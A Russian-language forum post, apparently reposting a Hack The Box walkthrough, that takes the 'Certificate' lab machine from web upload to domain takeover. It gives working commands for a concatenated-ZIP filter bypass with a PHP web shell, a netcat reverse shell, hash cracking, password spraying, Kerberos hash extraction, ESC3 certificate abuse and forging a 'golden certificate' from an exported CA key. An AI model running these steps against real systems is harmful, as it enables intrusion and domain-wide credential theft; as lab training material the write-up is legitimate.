• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем домен при помощи техники Golden Certificate

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как использовать привилегию SeManageVolume для получения «золотого сертификата» и захвата домена на Windows. Перед этим нас ждет череда других уязвимостей: мы загрузим склеенные ZIP-архивы на сайт, чтобы обойти фильтр, получим шелл, вытащим учетки из базы данных, проанализируем трафик для атаки на Kerberos и применим технику ESC3 AD CS.
Наша конечная цель — получение прав суперпользователя на машине Certificate с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — сложный.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.71 certificate.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел 13 открытых портов:

  • 80 (HTTP) — веб‑сервер Apache 2.4.58;
  • 88 — Kerberos;
  • 135 — Microsoft RPC;
  • 139 — NetBIOS, NetLogon;
  • 389 — LDAP;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 5985 — WinRM;
  • 9389 — веб‑службы AD DS.
Добавляем имя контроллера домена в файл /etc/hosts.

10.10.11.71 certificate.htb dc01.certificate.htb
На хосте работает веб‑сервер, поэтому сразу просмотрим сайт.

Главная страница сайта
Главная страница сайта

Точка входа​

На сайте можно зарегистрироваться, обязательно сделаем это, чтобы иметь максимум возможностей.

Регистрация пользователя
Регистрация пользователя
На сайте ничего интересного найти не удалось, поэтому приступим к сканированию каталогов при помощи feroxbuster.

Справка: сканирование веба c feroxbuster​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
  • -u — URL;
  • -d — глубина сканирования;
  • -t — количество потоков;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся).
Задаем все параметры и запускаем сканер:

feroxbuster -u Для просмотра ссылки Войди или Зарегистрируйся -d 1 -t 128 -w php_files_common.txt
Результат сканирования каталогов с помощью feroxbuster
Результат сканирования каталогов с помощью feroxbuster

Находим интересные страницы вроде db.php, которая говорит об использовании базы данных, а также upload.php — для загрузки файлов. Но сама страница требует дополнительные параметры.

Содержимое страницы upload.php
Содержимое страницы upload.php

Осматриваемся на сайте и находим страницу с курсами. При переходе к определенному курсу появляется страница с формой загрузки файла.

Страница курса
Страница курса
Форма загрузки файла
Форма загрузки файла

Точка опоры​

Файл принимает офисные документы и ZIP-архивы. При попытке загрузить на сервер веб‑шелл в архиве получаем ошибку с пометкой о вредоносном контенте.

Ответ сервера
Ответ сервера

Однако можно воспользоваться техникой Для просмотра ссылки Войди или Зарегистрируйся, при которой два архива будут записаны подряд в одном файле. Проверяться будет первый архив, а файлы получим из второго.

Код:
# <?=$_GET[0]?>
echo -n qweqwe > file.pdf
zip file.zip file.pdf
zip shell.zip shell.php
cat file.zip shell.zip > all.zip

Результат загрузки файла
Результат загрузки файла
При просмотре в адресной строке видим путь к файлу.

Путь к файлу
Путь к файлу

Теперь вместо file.pdf указываем свой реверс‑шелл shell.php и команду whoami.

Результат выполнения команды whoami
Результат выполнения команды whoami
Запускаем листенер:

rlwrap nc -nlvp 4321
И выполняем реверс‑шелл, чтобы получить удобную командную оболочку. Получаем сессию от имени учетной записи xamppuser.

Сессия пользователя xamppuser
Сессия пользователя xamppuser

Продвижение​


Пользователь Sara.B​

Веб‑приложение использует базу данных, и в файле db.php лежат учетные данные от нее — без проблем получаем их.

Содержимое файла db.php
Содержимое файла db.php
В XAMPP входят утилиты для работы с базами данных MySQL, можем ими воспользоваться.

Содержимое каталога xampp
Содержимое каталога xampp

Первым делом получим список баз данных.

mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "show databases;"
Базы данных
Базы данных
Перспективнее всего выглядит certificate_webapp_db. Запрашиваем список таблиц этой базы данных.

mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; show tables;"
Таблицы в базе certificate_webapp_db
Таблицы в базе certificate_webapp_db

В таблице users, скорее всего, лежат учетные данные пользователей. Посмотрим поближе.

mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "use certificate_webapp_db; select * from users;"
Содержимое таблицы users
Содержимое таблицы users

Сохраним хеши пользователей, у которых почта на домене certificate.htb, и пробрутим с помощью hashcat.

hashcat -m 3200 hashes.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля

У нас один пароль, поэтому получим список пользователей домена и сохраним в файл.

net users /domain
Пользователи домена
Пользователи домена

Теперь спреим пароль по всем найденным учеткам утилитой NetExec и получаем валидную пару учетных данных.

nxc smb 10.10.11.71 -u users.txt -p Blink182
Результат подбора учетных данных
Результат подбора учетных данных

Пользователь Lion.SK​

Теперь соберем базу BloodHound.

Справка: BloodHound​

Утилита Для просмотра ссылки Войди или Зарегистрируйся использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки. Помимо самой утилиты, которая позволяет просматривать граф, существует часть, загружаемая на удаленный хост для сбора информации. Она бывает в версиях для разных ОС и на разных языках программирования.
Для сбора базы будем использовать Для просмотра ссылки Войди или Зарегистрируйся. Скомпилируем версию для Windows, загрузим на удаленный хост и запустим сканирование.

rusthound-ce -d certificate.htb -u Sara.B -p Blink182 -i 10.10.11.71 -c All -z
Логи RustHound
Логи RustHound

Данные собираются очень быстро. Скачиваем итоговый архив и строим граф от пользователя Sara.B.

Граф BloodHound
Граф BloodHound

Пользователь состоит в группе Help Desk, члены которой также будут состоять в группе Remote Managemets Users. Это дает нам возможность авторизоваться по WinRM.

evil-winrm -i 10.10.11.71 -u Sara.B -p Blink182
Среди документов пользователя находим не флаг, а сообщение и дамп трафика.

Содержимое каталога Documents
Содержимое каталога Documents

В сообщении говорится, что дамп трафика сделан во время аутентификации на SMB-сервере. Скачиваем дамп для анализа, ведь мы сможем найти там какие‑нибудь учетные данные.

Содержимое файла Description.txt
Содержимое файла Description.txt

Открываем скачанный файл в WireShark и ставим фильтр для протокола SMB. Видим много сообщений о неудачной аутентификации, однако есть один запрос, где подключение выполнено успешно, но там не было NTLM-аутентификации.

Сетевой трафик SMB
Сетевой трафик SMB

Отключаем фильтр и видим перед подключением один пакет Kerberos (KRB5).

Сетевой трафик
Сетевой трафик

В фильтре ставим протокол Kerberos и выбираем запрос KRB5 AS-REQ. Из этого сетевого пакета мы сможем собрать хеш пароля пользователя для подбора.

Содержимое пакета KRB5
Содержимое пакета KRB5

В поле etype указано значение 18, для него Для просмотра ссылки Войди или Зарегистрируйся находим нужный формат хеша и режим 19900.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь из сетевого пакета собираем хеш по указанному формату:

$krb5pa$18$<user>$<domain>$<cipher>
И отправляем на перебор в hashcat.

hashcat -m 19900 krb_hash.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля

С помощью NetExec подтверждаем, что учетные данные пользователя Lion.SK до сих пор действительны.

nxc smb 10.10.11.71 -u Lion.SK -p '!QAZ2wsx'
Результат проверки учетных данных
Результат проверки учетных данных
Поскольку мы получаем новую учетку, строим граф от пользователя Lion.SK.

Граф BloodHound
Граф BloodHound
Так как пользователь состоит в группе Remote Management Users, можно получить сессию через WinRM.

evil-winrm -i 10.10.11.72 -u lion.sk -p '!QAZ2wsx'
Флаг пользователя
Флаг пользователя

Пользователь Ryan.K​

Пользователь Lion.SK входит в группу Domain CRA Managers, которая может выпускать сертификаты по шаблону Delegated-CRA.

Граф BloodHound
Граф BloodHound
Для эксплуатации техники ESC3 AD CS нам нужно определиться с целевыми пользователем и шаблоном сертификата. Первым делом в BloodHound отобразим пользователей, у которых есть электронная почта.

Справка: ESC3​

ESC3 — это класс уязвимостей в настройках Active Directory Certificate Services (AD CS), когда шаблон сертификата настроен как Enrollment Agent и разрешает обычному пользователю выполнять выдачу сертификатов от имени других учетных записей. По сути, злоумышленник с правом Enroll может по такому шаблону запросить сертификат, подписанный CA, который позволяет действовать от имени администратора или другого привилегированного аккаунта.
Получив доступ к шаблону и выполнив Enroll, атакующий получает сертификат Enrollment Agent (подставного пользователя), использует его для аутентификации и получает привилегии целевого аккаунта в домене. Результат — полная компрометация AD, раскрытие секретов и удаленное управление инфраструктурой.
Запрос BloodHound
Запрос BloodHound

Среди отфильтрованных учетных записей отметим пользователя Ryan.K, который состоит в группе Domain Storage Managers.

Граф BloodHound
Граф BloodHound

С помощью Для просмотра ссылки Войди или Зарегистрируйся получим все активные шаблоны сертификатов. Перед запросом на сервер нужно указать имя центра сертификации Certificate-LTD-CA в файле /etc/hosts.

10.10.11.71 certificate.htb dc01.certificate.htb Certificate-LTD-CA
Шаблон SignedUser может быть использован при эксплуатации ESC3.

certipy find -u '[EMAIL]lion.sk@certificate.htb[/EMAIL]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -stdout -enabled
Шаблон сертификата SignedUser
Шаблон сертификата SignedUser
Для эксплуатации ESC3 первым делом запросим сертификат по шаблону Delegated-CRA.

certipy req -u '[EMAIL]lion.sk@certificate.htb[/EMAIL]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -ca 'Certificate-LTD-CA' -template 'Delegated-CRA'
Запрос сертификата
Запрос сертификата
Выполним запрос сертификата по шаблону SignedUser для пользователя Ryan.K. При этом утверждаем запрос с помощью полученного ранее CRA-сертификата.

certipy req -u '[EMAIL]lion.sk@certificate.htb[/EMAIL]' -p '!QAZ2wsx' -dc-ip 10.10.11.71 -ca 'Certificate-LTD-CA' -template 'SignedUser' -pfx 'lion.sk.pfx' -on-behalf-of 'certificate\ryan.k'
Запрос сертификата
Запрос сертификата
По сертификату пользователя можно получить билет TGT, из которого затем извлечь NTLM-хеш пароля владельца билета. Certipy это все делает автоматически.

faketime -f '+8h' certipy auth -pfx 'ryan.k.pfx' -dc-ip '10.10.11.71'
Учетные данные пользователя Ryan.K
Учетные данные пользователя Ryan.K

Локальное повышение привилегий​

Пользователь состоит в группе Domain Storage Managers, поэтому просмотрим привилегии учетной записи.

evil-winrm -i 10.10.11.71 -u ryan.k -H b1bc3d70e70f4f36b1509a65ae1a2ae6

whoami /all
Информация о пользователе
Информация о пользователе
У пользователя есть привилегия SeManageVolumePrivilege. В Для просмотра ссылки Войди или Зарегистрируйся Microsoft говорится:

Этот параметр политики определяет, какие пользователи могут выполнять задачи по управлению томами или дисками, такие как дефрагментация существующего тома, создание или удаление томов и запуск Disk Cleanup.
Значит, с этой привилегией можно получить дескриптор основного диска и перераспределить ACL для всего диска с группы администраторов (S-1-5-32-544) на группу пользователей (S-1-5-32-545). Это реализовано в утилите Для просмотра ссылки Войди или Зарегистрируйся.

Эксплуатация привилегии
Эксплуатация привилегии

Так как на хосте установлен центр сертификации, мы можем получить корневой сертификат центра сертификации и с его помощью выпустить «золотой сертификат» для любого пользователя домена.

certutil -exportPFX my "Certificate-LTD-CA" C:\Users\Ryan.K\Documents\ca.pfx
Экспорт корневого сертификата
Экспорт корневого сертификата

Теперь с помощью полученного сертификата создаем сертификат для пользователя administrator.

certipy forge -ca-pfx ca.pfx -upn '[EMAIL]administrator@certificate.htb[/EMAIL]' -out administrator.pfx
Создание «золотого сертификата»
Создание «золотого сертификата»

По сертификату пользователя получаем его TGT и из него извлекаем NTLM-хеш пароля.

faketime -f '+8h' certipy auth -dc-ip 10.10.11.71 -pfx administrator.pfx -username administrator -domain certificate.htb
Учетные данные пользователя
Учетные данные пользователя
Осталось авторизоваться по WinRM и забрать последний флаг.

evil-winrm -i 10.10.11.71 -u ryan.k -H d804304519bf0143c14cbf1c024408c6
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу